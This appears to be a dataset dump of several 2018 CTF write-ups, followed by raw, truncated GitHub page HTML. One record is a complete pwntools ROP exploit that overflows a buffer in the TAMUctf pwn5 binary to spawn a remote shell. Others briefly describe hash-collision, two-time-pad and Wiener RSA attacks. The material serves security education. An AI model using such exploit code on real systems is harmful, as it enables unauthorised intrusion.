text_chunk
stringlengths 151
703k
|
---|
**This script is intended to be just a shorter and more elegant solution, using the ROP pwntools's submodule.**If you want to actually understand ROP attack (as I needed before this challenge), this is **not** the write-up you're looking for. ```from pwn import *
conn = remote('pwn.ctf.tamu.edu', '4325')#conn = process("./pwn5")
context.clear(arch='i386')context.kernel = 'amd64'binary = ELF('pwn5')
rop = ROP(binary)binsh = 0x080f1a20 #global variable 'first_name'rop.execve(binsh, 0, 0) #automatically makes gadgets for execve(binsh) #lucky we had them in the code!DIMBUFFER = 28
conn.sendline("/bin/sh") #saved in 'first_name'conn.sendline(":P")conn.sendline(":P")conn.sendline("y")conn.sendline("2")#print str(rop)conn.sendline(cyclic(DIMBUFFER+4) + str(rop))
conn.interactive() #enjoy your shell``` |
Given a custom made hash, the task is to break it (find a collision). The flaw lies in fact that only the first 4 bytes used from md5sum for every round for hl/hr. This could be easily break, thus it has dozens of right answer. More on [original post](https://catousify.wordpress.com/2018/02/04/sharifctf-2018-fhash-writeup/). |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/easyctf_2018_not_otp/](http://www.aperikube.fr/docs/easyctf_2018_not_otp/)
-----
# TL;DRHere you have to decrypt a Two Time Pad. This is done by xoring the two ciphertexts together and dragging a crib (“easyctf{”) to reveal partial information about the plaintexts. By repeated tries you can successfully decrypt the flag. |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/easyctf_2018_rsa_v/](http://www.aperikube.fr/docs/easyctf_2018_rsa_v/)
-----
# TL;DREncrypting with RSA multiple times is just multiplying the exponent and finding the associated private key. Because e was almost as big as n, a Wiener attack was able to break the encryption. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctfwriteups/tamuctf2018 at master · coldBug/ctfwriteups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9850:0F8F:19A0E4EF:1A6C25D8:6412270A" data-pjax-transient="true"/><meta name="html-safe-nonce" content="3f0d75fba50b6969c438225ad44df96573cd706a1a444c43d65994c1f7520b43" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5ODUwOjBGOEY6MTlBMEU0RUY6MUE2QzI1RDg6NjQxMjI3MEEiLCJ2aXNpdG9yX2lkIjoiNTQ2MzE2NDc3Njg5MTk1MDg1OCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="16e8e5b3aabe61a9b41b8427e21f94b663700fc4c23902601d4b413b7ac66173" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:96701284" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF Solutions. Contribute to coldBug/ctfwriteups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f3d54684f7a2f3887ad6fd34790eebcc9dd4edfa9f7e7616e4fd5906cc927c0e/coldBug/ctfwriteups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfwriteups/tamuctf2018 at master · coldBug/ctfwriteups" /><meta name="twitter:description" content="CTF Solutions. Contribute to coldBug/ctfwriteups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f3d54684f7a2f3887ad6fd34790eebcc9dd4edfa9f7e7616e4fd5906cc927c0e/coldBug/ctfwriteups" /><meta property="og:image:alt" content="CTF Solutions. Contribute to coldBug/ctfwriteups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfwriteups/tamuctf2018 at master · coldBug/ctfwriteups" /><meta property="og:url" content="https://github.com/coldBug/ctfwriteups" /><meta property="og:description" content="CTF Solutions. Contribute to coldBug/ctfwriteups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/coldBug/ctfwriteups git https://github.com/coldBug/ctfwriteups.git">
<meta name="octolytics-dimension-user_id" content="23073764" /><meta name="octolytics-dimension-user_login" content="coldBug" /><meta name="octolytics-dimension-repository_id" content="96701284" /><meta name="octolytics-dimension-repository_nwo" content="coldBug/ctfwriteups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="96701284" /><meta name="octolytics-dimension-repository_network_root_nwo" content="coldBug/ctfwriteups" />
<link rel="canonical" href="https://github.com/coldBug/ctfwriteups/tree/master/tamuctf2018" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
